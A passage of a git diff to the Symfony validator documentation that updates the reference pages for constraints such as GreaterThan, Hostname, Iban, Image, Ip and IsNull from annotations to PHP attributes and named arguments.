*/ - protected $age; + #[Assert\GreaterThan(5)] + protected int $siblings; + + #[Assert\GreaterThan( + value: 18, + )] + protected int $age; } .. code-block:: yaml @@ -92,13 +83,15 @@ The following constraints ensure that: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('siblings', new Assert\GreaterThan(5)); - $metadata->addPropertyConstraint('age', new Assert\GreaterThan([ - 'value' => 18, - ])); + $metadata->addPropertyConstraint('age', new Assert\GreaterThan( + value: 18, + )); } } @@ -111,7 +104,7 @@ that a date must at least be the next day: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Order.php namespace App\Entity; @@ -120,10 +113,8 @@ that a date must at least be the next day: class Order { - /** - * @Assert\GreaterThan("today") - */ - protected $deliveryDate; + #[Assert\GreaterThan('today')] + protected \DateTimeInterface $deliveryDate; } .. code-block:: yaml @@ -159,7 +150,9 @@ that a date must at least be the next day: class Order { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThan('today')); } @@ -170,7 +163,7 @@ dates. If you want to fix the timezone, append it to the date string: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Order.php namespace App\Entity; @@ -179,10 +172,8 @@ dates. If you want to fix the timezone, append it to the date string: class Order { - /** - * @Assert\GreaterThan("today UTC") - */ - protected $deliveryDate; + #[Assert\GreaterThan('today UTC')] + protected \DateTimeInterface $deliveryDate; } .. code-block:: yaml @@ -218,7 +209,9 @@ dates. If you want to fix the timezone, append it to the date string: class Order { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThan('today UTC')); } @@ -230,7 +223,7 @@ current time: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Order.php namespace App\Entity; @@ -239,10 +232,8 @@ current time: class Order { - /** - * @Assert\GreaterThan("+5 hours") - */ - protected $deliveryDate; + #[Assert\GreaterThan('+5 hours')] + protected \DateTimeInterface $deliveryDate; } .. code-block:: yaml @@ -278,7 +269,9 @@ current time: class Order { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThan('+5 hours')); } diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst index 8a054e6bbb9..63c2ade6197 100644 --- a/reference/constraints/GreaterThanOrEqual.rst +++ b/reference/constraints/GreaterThanOrEqual.rst @@ -7,11 +7,6 @@ the options. To force that a value is greater than another value, see ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ - - `propertyPath`_ - - `value`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqual` Validator :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator` ========== =================================================================== @@ -26,7 +21,7 @@ The following constraints ensure that: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -35,17 +30,13 @@ The following constraints ensure that: class Person { - /** - * @Assert\GreaterThanOrEqual(5) - */ - protected $siblings; - - /** - * @Assert\GreaterThanOrEqual( - * value = 18 - * ) - */ - protected $age; + #[Assert\GreaterThanOrEqual(5)] + protected int $siblings; + + #[Assert\GreaterThanOrEqual( + value: 18, + )] + protected int $age; } .. code-block:: yaml @@ -91,13 +82,15 @@ The following constraints ensure that: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('siblings', new Assert\GreaterThanOrEqual(5)); - $metadata->addPropertyConstraint('age', new Assert\GreaterThanOrEqual([ - 'value' => 18, - ])); + $metadata->addPropertyConstraint('age', new Assert\GreaterThanOrEqual( + value: 18, + )); } } @@ -110,7 +103,7 @@ that a date must at least be the current day: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Order.php namespace App\Entity; @@ -119,10 +112,8 @@ that a date must at least be the current day: class Order { - /** - * @Assert\GreaterThanOrEqual("today") - */ - protected $deliveryDate; + #[Assert\GreaterThanOrEqual('today')] + protected \DateTimeInterface $deliveryDate; } .. code-block:: yaml @@ -158,7 +149,9 @@ that a date must at least be the current day: class Order { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThanOrEqual('today')); } @@ -169,7 +162,7 @@ dates. If you want to fix the timezone, append it to the date string: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Order.php namespace App\Entity; @@ -178,10 +171,8 @@ dates. If you want to fix the timezone, append it to the date string: class Order { - /** - * @Assert\GreaterThanOrEqual("today UTC") - */ - protected $deliveryDate; + #[Assert\GreaterThanOrEqual('today UTC')] + protected \DateTimeInterface $deliveryDate; } .. code-block:: yaml @@ -217,7 +208,9 @@ dates. If you want to fix the timezone, append it to the date string: class Order { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThanOrEqual('today UTC')); } @@ -229,7 +222,7 @@ current time: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Order.php namespace App\Entity; @@ -238,10 +231,8 @@ current time: class Order { - /** - * @Assert\GreaterThanOrEqual("+5 hours") - */ - protected $deliveryDate; + #[Assert\GreaterThanOrEqual('+5 hours')] + protected \DateTimeInterface $deliveryDate; } .. code-block:: yaml @@ -277,7 +268,9 @@ current time: class Order { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThanOrEqual('+5 hours')); } diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst index 9e67fb3c8fc..58ac0364669 100644 --- a/reference/constraints/Hostname.rst +++ b/reference/constraints/Hostname.rst @@ -5,16 +5,8 @@ This constraint ensures that the given value is a valid host name (internally it uses the ``FILTER_VALIDATE_DOMAIN`` option of the :phpfunction:`filter_var` PHP function). -.. versionadded:: 5.1 - - The ``Hostname`` constraint was introduced in Symfony 5.1. - ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ - - `requireTld`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Hostname` Validator :class:`Symfony\\Component\\Validator\\Constraints\\HostnameValidator` ========== =================================================================== @@ -27,7 +19,7 @@ will contain a host name. .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/ServerSettings.php namespace App\Entity; @@ -36,10 +28,8 @@ will contain a host name. class ServerSettings { - /** - * @Assert\Hostname(message="The server name must be a valid hostname.") - */ - protected $name; + #[Assert\Hostname(message: 'The server name must be a valid hostname.')] + protected string $name; } .. code-block:: yaml @@ -78,11 +68,13 @@ will contain a host name. class ServerSettings { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('name', new Assert\Hostname([ - 'message' => 'The server name must be a valid hostname.', - ])); + $metadata->addPropertyConstraint('name', new Assert\Hostname( + message: 'The server name must be a valid hostname.', + )); } } @@ -113,16 +105,12 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc ``requireTld`` ~~~~~~~~~~~~~~ -**type**: ``bool`` **default**: ``true`` +**type**: ``boolean`` **default**: ``true`` By default, hostnames are considered valid only when they are fully qualified and include their TLDs (top-level domain names). For instance, ``example.com`` diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst index 709270f7b12..fdc955c81b0 100644 --- a/reference/constraints/Iban.rst +++ b/reference/constraints/Iban.rst @@ -8,9 +8,6 @@ borders with a reduced risk of propagating transcription errors. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Iban` Validator :class:`Symfony\\Component\\Validator\\Constraints\\IbanValidator` ========== =================================================================== @@ -23,7 +20,7 @@ will contain an International Bank Account Number. .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Transaction.php namespace App\Entity; @@ -32,12 +29,10 @@ will contain an International Bank Account Number. class Transaction { - /** - * @Assert\Iban( - * message="This is not a valid International Bank Account Number (IBAN)." - * ) - */ - protected $bankAccountNumber; + #[Assert\Iban( + message: 'This is not a valid International Bank Account Number (IBAN).', + )] + protected string $bankAccountNumber; } .. code-block:: yaml @@ -78,18 +73,27 @@ will contain an International Bank Account Number. class Transaction { - protected $bankAccountNumber; + // ... - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('bankAccountNumber', new Assert\Iban([ - 'message' => 'This is not a valid International Bank Account Number (IBAN).', - ])); + $metadata->addPropertyConstraint('bankAccountNumber', new Assert\Iban( + message: 'This is not a valid International Bank Account Number (IBAN).', + )); } } .. include:: /reference/constraints/_empty-values-are-valid.rst.inc +.. note:: + + For convenience, the IBAN validator accepts values with various types of + whitespace (e.g., regular, non-breaking, and narrow non-breaking spaces), + which are automatically removed before validation. However, this flexibility + can cause issues when storing IBANs or sending them to APIs that expect a + strict format. To ensure compatibility, normalize IBANs by removing + whitespace and converting them to uppercase before storing or processing. + Options ------- @@ -111,10 +115,6 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc .. _`International Bank Account Number (IBAN)`: https://en.wikipedia.org/wiki/International_Bank_Account_Number diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst index 10f1fb52342..f8844f90a72 100644 --- a/reference/constraints/IdenticalTo.rst +++ b/reference/constraints/IdenticalTo.rst @@ -5,7 +5,7 @@ Validates that a value is identical to another value, defined in the options. To force that a value is *not* identical, see :doc:`/reference/constraints/NotIdenticalTo`. -.. caution:: +.. warning:: This constraint compares using ``===``, so ``3`` and ``"3"`` are *not* considered equal. Use :doc:`/reference/constraints/EqualTo` to compare @@ -13,11 +13,6 @@ To force that a value is *not* identical, see ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ - - `propertyPath`_ - - `value`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\IdenticalTo` Validator :class:`Symfony\\Component\\Validator\\Constraints\\IdenticalToValidator` ========== =================================================================== @@ -32,7 +27,7 @@ The following constraints ensure that: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -41,17 +36,13 @@ The following constraints ensure that: class Person { - /** - * @Assert\IdenticalTo("Mary") - */ - protected $firstName; - - /** - * @Assert\IdenticalTo( - * value = 20 - * ) - */ - protected $age; + #[Assert\IdenticalTo('Mary')] + protected string $firstName; + + #[Assert\IdenticalTo( + value: 20, + )] + protected int $age; } .. code-block:: yaml @@ -97,13 +88,15 @@ The following constraints ensure that: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('firstName', new Assert\IdenticalTo('Mary')); - $metadata->addPropertyConstraint('age', new Assert\IdenticalTo([ - 'value' => 20, - ])); + $metadata->addPropertyConstraint('age', new Assert\IdenticalTo( + value: 20, + )); } } diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst index e8b492bf4ae..5dd270c44f8 100644 --- a/reference/constraints/Image.rst +++ b/reference/constraints/Image.rst @@ -13,35 +13,6 @@ of the documentation on this constraint. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `allowLandscape`_ - - `allowLandscapeMessage`_ - - `allowPortrait`_ - - `allowPortraitMessage`_ - - `allowSquare`_ - - `allowSquareMessage`_ - - `corruptedMessage`_ - - `detectCorrupted`_ - - `groups`_ - - `maxHeight`_ - - `maxHeightMessage`_ - - `maxPixels`_ - - `maxPixelsMessage`_ - - `maxRatio`_ - - `maxRatioMessage`_ - - `maxWidth`_ - - `maxWidthMessage`_ - - `mimeTypes`_ - - `mimeTypesMessage`_ - - `minHeight`_ - - `minHeightMessage`_ - - `minPixels`_ - - `minPixelsMessage`_ - - `minRatio`_ - - `minRatioMessage`_ - - `minWidth`_ - - `minWidthMessage`_ - - `sizeNotDetectedMessage`_ - - See :doc:`File </reference/constraints/File>` for inherited options Class :class:`Symfony\\Component\\Validator\\Constraints\\Image` Validator :class:`Symfony\\Component\\Validator\\Constraints\\ImageValidator` ========== =================================================================== @@ -62,14 +33,14 @@ would be a ``file`` type. The ``Author`` class might look as follows:: class Author { - protected $headshot; + protected File $headshot; - public function setHeadshot(File $file = null) + public function setHeadshot(?File $file = null): void { $this->headshot = $file; } - public function getHeadshot() + public function getHeadshot(): File { return $this->headshot; } @@ -80,24 +51,23 @@ that it is between a certain size, add the following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; + use Symfony\Component\HttpFoundation\File\File; use Symfony\Component\Validator\Constraints as Assert; class Author { - /** - * @Assert\Image( - * minWidth = 200, - * maxWidth = 400, - * minHeight = 200, - * maxHeight = 400 - * ) - */ - protected $headshot; + #[Assert\Image( + minWidth: 200, + maxWidth: 400, + minHeight: 200, + maxHeight: 400, + )] + protected File $headshot; } .. code-block:: yaml @@ -142,14 +112,16 @@ that it is between a certain size, add the following: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('headshot', new Assert\Image([ - 'minWidth' => 200, - 'maxWidth' => 400, - 'minHeight' => 200, - 'maxHeight' => 400, - ])); + $metadata->addPropertyConstraint('headshot', new Assert\Image( + minWidth: 200, + maxWidth: 400, + minHeight: 200, + maxHeight: 400, + )); } } @@ -162,22 +134,21 @@ following code: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; + use Symfony\Component\HttpFoundation\File\File; use Symfony\Component\Validator\Constraints as Assert; class Author { - /** - * @Assert\Image( - * allowLandscape = false, - * allowPortrait = false - * ) - */ - protected $headshot; + #[Assert\Image( + allowLandscape: false, + allowPortrait: false, + )] + protected File $headshot; } .. code-block:: yaml @@ -212,12 +183,14 @@ following code: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('headshot', new Assert\Image([ - 'allowLandscape' => false, - 'allowPortrait' => false, - ])); + $metadata->addPropertyConstraint('headshot', new Assert\Image( + allowLandscape: false, + allowPortrait: false, + )); } } @@ -230,15 +203,19 @@ This constraint shares all of its options with the :doc:`File </reference/constr constraint. It does, however, modify two of the default option values and add several other options. -allowLandscape -~~~~~~~~~~~~~~ +``allowLandscape`` +~~~~~~~~~~~~~~~~~~ **type**: ``Boolean`` **default**: ``true`` If this option is false, the image cannot be landscape oriented. -allowLandscapeMessage -~~~~~~~~~~~~~~~~~~~~~ +.. versionadded:: 7.3 + + The ``allowLandscape`` option support for SVG files was introduced in Symfony 7.3. + +``allowLandscapeMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The image is landscape oriented ({{ width }}x{{ height }}px). Landscape oriented images are not allowed`` @@ -254,15 +231,19 @@ Parameter Description ``{{ width }}`` The current width ================ ============================================================= -allowPortrait -~~~~~~~~~~~~~ +``allowPortrait`` +~~~~~~~~~~~~~~~~~ **type**: ``Boolean`` **default**: ``true`` If this option is false, the image cannot be portrait oriented. -allowPortraitMessage -~~~~~~~~~~~~~~~~~~~~ +.. versionadded:: 7.3 + + The ``allowPortrait`` option support for SVG files was introduced in Symfony 7.3. + +``allowPortraitMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The image is portrait oriented ({{ width }}x{{ height }}px). Portrait oriented images are not allowed`` @@ -278,8 +259,8 @@ Parameter Description ``{{ width }}`` The current width ================ ============================================================= -allowSquare -~~~~~~~~~~~ +``allowSquare`` +~~~~~~~~~~~~~~~ **type**: ``Boolean`` **default**: ``true`` @@ -287,8 +268,12 @@ If this option is false, the image cannot be a square. If you want to force a square image, then leave this option as its default ``true`` value and set `allowLandscape`_ and `allowPortrait`_ both to ``false``. -allowSquareMessage -~~~~~~~~~~~~~~~~~~ +.. versionadded:: 7.3 + + The ``allowSquare`` option support for SVG files was introduced in Symfony 7.3. + +``allowSquareMessage`` +~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The image is square ({{ width }}x{{ height }}px). Square images are not allowed`` @@ -304,8 +289,8 @@ Parameter Description ``{{ width }}`` The current width ================ ============================================================= -corruptedMessage -~~~~~~~~~~~~~~~~ +``corruptedMessage`` +~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The image file is corrupted.`` @@ -314,8 +299,8 @@ is corrupted. This message has no parameters. -detectCorrupted -~~~~~~~~~~~~~~~ +``detectCorrupted`` +~~~~~~~~~~~~~~~~~~~ **type**: ``boolean`` **default**: ``false`` @@ -325,16 +310,16 @@ function, which requires the `PHP GD extension`_ to be enabled. .. include:: /reference/constraints/_groups-option.rst.inc -maxHeight -~~~~~~~~~ +``maxHeight`` +~~~~~~~~~~~~~ **type**: ``integer`` If set, the height of the image file must be less than or equal to this value in pixels. -maxHeightMessage -~~~~~~~~~~~~~~~~ +``maxHeightMessage`` +~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The image height is too big ({{ height }}px). Allowed maximum height is {{ max_height }}px.`` @@ -350,18 +335,18 @@ Parameter Description ``{{ max_height }}`` The maximum allowed height ==================== ========================================================= -maxPixels -~~~~~~~~~ +``maxPixels`` +~~~~~~~~~~~~~ **type**: ``integer`` If set, the amount of pixels of the image file must be less than or equal to this value. -maxPixelsMessage -~~~~~~~~~~~~~~~~ +``maxPixelsMessage`` +~~~~~~~~~~~~~~~~~~~~ -**type**: ``string`` **default**: ``The image has to many pixels ({{ pixels }} pixels). +**type**: ``string`` **default**: ``The image has too many pixels ({{ pixels }} pixels). Maximum amount expected is {{ max_pixels }} pixels.`` The error message if the amount of pixels of the image exceeds `maxPixels`_. @@ -377,16 +362,20 @@ Parameter Description ``{{ width }}`` The current image width ==================== ========================================================= -maxRatio -~~~~~~~~ +``maxRatio`` +~~~~~~~~~~~~ **type**: ``float`` If set, the aspect ratio (``width / height``) of the image file must be less than or equal to this value. -maxRatioMessage -~~~~~~~~~~~~~~~ +.. versionadded:: 7.3 + + The ``maxRatio`` option support for SVG files was introduced in Symfony 7.3. + +``maxRatioMessage`` +~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The image ratio is too big ({{ ratio }}). Allowed maximum ratio is {{ max_ratio }}`` @@ -402,16 +391,16 @@ Parameter Description ``{{ ratio }}`` The current (invalid) ratio =================== ========================================================== -maxWidth -~~~~~~~~ +``maxWidth`` +~~~~~~~~~~~~ **type**: ``integer`` If set, the width of the image file must be less than or equal to this value in pixels. -maxWidthMessage -~~~~~~~~~~~~~~~ +``maxWidthMessage`` +~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The image width is too big ({{ width }}px). Allowed maximum width is {{ max_width }}px.`` @@ -427,28 +416,33 @@ Parameter Description ``{{ width }}`` The current (invalid) width =================== ========================================================== -mimeTypes -~~~~~~~~~ +``mimeTypes`` +~~~~~~~~~~~~~ **type**: ``array`` or ``string`` **default**: ``image/*`` You can find a list of existing image mime types on the `IANA website`_. -mimeTypesMessage -~~~~~~~~~~~~~~~~ +``mimeTypesMessage`` +~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This file is not a valid image.`` -minHeight -~~~~~~~~~ +If all the values of the `mimeTypes`_ option are a subset of ``image/*``, the +error message will be instead: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.`` + +.. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc + +``minHeight`` +~~~~~~~~~~~~~ **type**: ``integer`` If set, the height of the image file must be greater than or equal to this value in pixels. -minHeightMessage -~~~~~~~~~~~~~~~~ +``minHeightMessage`` +~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The image height is too small ({{ height }}px). Minimum height expected is {{ min_height }}px.`` @@ -464,16 +458,16 @@ Parameter Description ``{{ min_height }}`` The minimum required height ==================== ========================================================= -minPixels -~~~~~~~~~ +``minPixels`` +~~~~~~~~~~~~~ **type**: ``integer`` If set, the amount of pixels of the image file must be greater than or equal to this value. -minPixelsMessage -~~~~~~~~~~~~~~~~ +``minPixelsMessage`` +~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The image has too few pixels ({{ pixels }} pixels). Minimum amount expected is {{ min_pixels }} pixels.`` @@ -491,16 +485,20 @@ Parameter Description ``{{ width }}`` The current image width ==================== ========================================================= -minRatio -~~~~~~~~ +``minRatio`` +~~~~~~~~~~~~ **type**: ``float`` If set, the aspect ratio (``width / height``) of the image file must be greater than or equal to this value. -minRatioMessage -~~~~~~~~~~~~~~~ +.. versionadded:: 7.3 + + The ``minRatio`` option support for SVG files was introduced in Symfony 7.3. + +``minRatioMessage`` +~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The image ratio is too small ({{ ratio }}). Minimum ratio expected is {{ min_ratio }}`` @@ -516,16 +514,16 @@ Parameter Description ``{{ ratio }}`` The current (invalid) ratio =================== ========================================================== -minWidth -~~~~~~~~ +``minWidth`` +~~~~~~~~~~~~ **type**: ``integer`` If set, the width of the image file must be greater than or equal to this value in pixels. -minWidthMessage -~~~~~~~~~~~~~~~ +``minWidthMessage`` +~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The image width is too small ({{ width }}px). Minimum width expected is {{ min_width }}px.`` @@ -541,8 +539,8 @@ Parameter Description ``{{ width }}`` The current (invalid) width =================== ========================================================== -sizeNotDetectedMessage -~~~~~~~~~~~~~~~~~~~~~~ +``sizeNotDetectedMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The size of the image could not be detected.`` @@ -552,5 +550,5 @@ options has been set. This message has no parameters. -.. _`IANA website`: http://www.iana.org/assignments/media-types/media-types.xhtml +.. _`IANA website`: https://www.iana.org/assignments/media-types/media-types.xhtml .. _`PHP GD extension`: https://www.php.net/manual/en/book.image.php diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst index 9d744d54c09..20cd4400c0a 100644 --- a/reference/constraints/Ip.rst +++ b/reference/constraints/Ip.rst @@ -7,11 +7,6 @@ IPv6 and many other combinations. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `normalizer`_ - - `payload`_ - - `version`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Ip` Validator :class:`Symfony\\Component\\Validator\\Constraints\\IpValidator` ========== =================================================================== @@ -21,7 +16,7 @@ Basic Usage .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -30,10 +25,8 @@ Basic Usage class Author { - /** - * @Assert\Ip - */ - protected $ipAddress; + #[Assert\Ip] + protected string $ipAddress; } .. code-block:: yaml @@ -69,7 +62,9 @@ Basic Usage class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('ipAddress', new Assert\Ip()); } @@ -82,8 +77,8 @@ Options .. include:: /reference/constraints/_groups-option.rst.inc -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This is not a valid IP address.`` @@ -98,54 +93,34 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_normalizer-option.rst.inc .. include:: /reference/constraints/_payload-option.rst.inc -version -~~~~~~~ - -**type**: ``string`` **default**: ``4`` - -This determines exactly *how* the IP address is validated and can take one -of a variety of different values: +.. _reference-constraint-ip-version: -**All ranges** +``version`` +~~~~~~~~~~~ -``4`` - Validates for IPv4 addresses -``6`` - Validates for IPv6 addresses -``all`` - Validates all IP formats - -**No private ranges** - -``4_no_priv`` - Validates for IPv4 but without private IP ranges -``6_no_priv`` - Validates for IPv6 but without private IP ranges -``all_no_priv`` - Validates for all IP formats but without private IP ranges - -**No reserved ranges** - -``4_no_res`` - Validates for IPv4 but without reserved IP ranges -``6_no_res`` - Validates for IPv6 but without reserved IP ranges -``all_no_res`` - Validates for all IP formats but without reserved IP ranges - -**Only public ranges** +**type**: ``string`` **default**: ``4`` -``4_public`` - Validates for IPv4 but without private and reserved ranges -``6_public`` - Validates for IPv6 but without private and reserved ranges -``all_public`` - Validates for all IP formats but without private and reserved ranges +This determines exactly *how* the IP address is validated. This option defines a +lot of different possible values based on the ranges and the type of IP address +that you want to allow/deny: + +==================== =================== =================== ================== +Ranges Allowed IPv4 addresses only IPv6 addresses only Both IPv4 and IPv6 +==================== =================== =================== ================== +All ``4`` ``6`` ``all`` +All except private ``4_no_priv`` ``6_no_priv`` ``all_no_priv`` +All except reserved ``4_no_res`` ``6_no_res`` ``all_no_res`` +All except public ``4_no_public`` ``6_no_public`` ``all_no_public`` +Only private ``4_private`` ``6_private`` ``all_private`` +Only reserved ``4_reserved`` ``6_reserved`` ``all_reserved`` +Only public ``4_public`` ``6_public`` ``all_public`` +==================== =================== =================== ================== + +.. versionadded:: 7.1 + + The ``*_no_public``, ``*_reserved`` and ``*_public`` ranges were introduced + in Symfony 7.1. diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst index 17881aa9a75..3d0a1665944 100644 --- a/reference/constraints/IsFalse.rst +++ b/reference/constraints/IsFalse.rst @@ -3,15 +3,12 @@ IsFalse Validates that a value is ``false``. Specifically, this checks to see if the value is exactly ``false``, exactly the integer ``0``, or exactly the -string "``0``". +string ``'0'``. Also see :doc:`IsTrue <IsTrue>`. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\IsFalse` Validator :class:`Symfony\\Component\\Validator\\Constraints\\IsFalseValidator` ========== =================================================================== @@ -24,11 +21,11 @@ but is most commonly useful in the latter case. For example, suppose that you want to guarantee that some ``state`` property is *not* in a dynamic ``invalidStates`` array. First, you'd create a "getter" method:: - protected $state; + protected string $state; - protected $invalidStates = []; + protected array $invalidStates = []; - public function isStateInvalid() + public function isStateInvalid(): bool { return in_array($this->state, $this->invalidStates); } @@ -38,7 +35,7 @@ method returns **false**: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -47,12 +44,10 @@ method returns **false**: class Author { - /** - * @Assert\IsFalse( - * message = "You've entered an invalid state." - * ) - */ - public function isStateInvalid() + #[Assert\IsFalse( + message: "You've entered an invalid state." + )] + public function isStateInvalid(): bool { // ... } @@ -94,19 +89,23 @@ method returns **false**: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addGetterConstraint('stateInvalid', new Assert\IsFalse([ - 'message' => 'You've entered an invalid state.', - ])); + $metadata->addGetterConstraint('stateInvalid', new Assert\IsFalse( + message: "You've entered an invalid state.", + )); } - } - public function isStateInvalid() - { - // ... + public function isStateInvalid(): bool + { + // ... + } } +.. include:: /reference/constraints/_null-values-are-valid.rst.inc + Options ------- @@ -128,8 +127,4 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst index 252c23d934b..0f9726110ba 100644 --- a/reference/constraints/IsNull.rst +++ b/reference/constraints/IsNull.rst @@ -9,9 +9,6 @@ Also see :doc:`NotNull <NotNull>`. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\IsNull` Validator :class:`Symfony\\Component\\Validator\\Constraints\\IsNullValidator` ========== =================================================================== @@ -24,7 +21,7 @@ of an ``Author`` class exactly equal to ``null``, you could do the following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -33,10 +30,8 @@ of an ``Author`` class exactly equal to ``null``, you could do the following: class Author { - /** - * @Assert\IsNull - */ - protected $firstName; + #[Assert\IsNull] + protected ?string $firstName = null; } .. code-block:: yaml @@ -72,7 +67,9 @@ of an ``Author`` class exactly equal to ``null``, you could do the following: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + 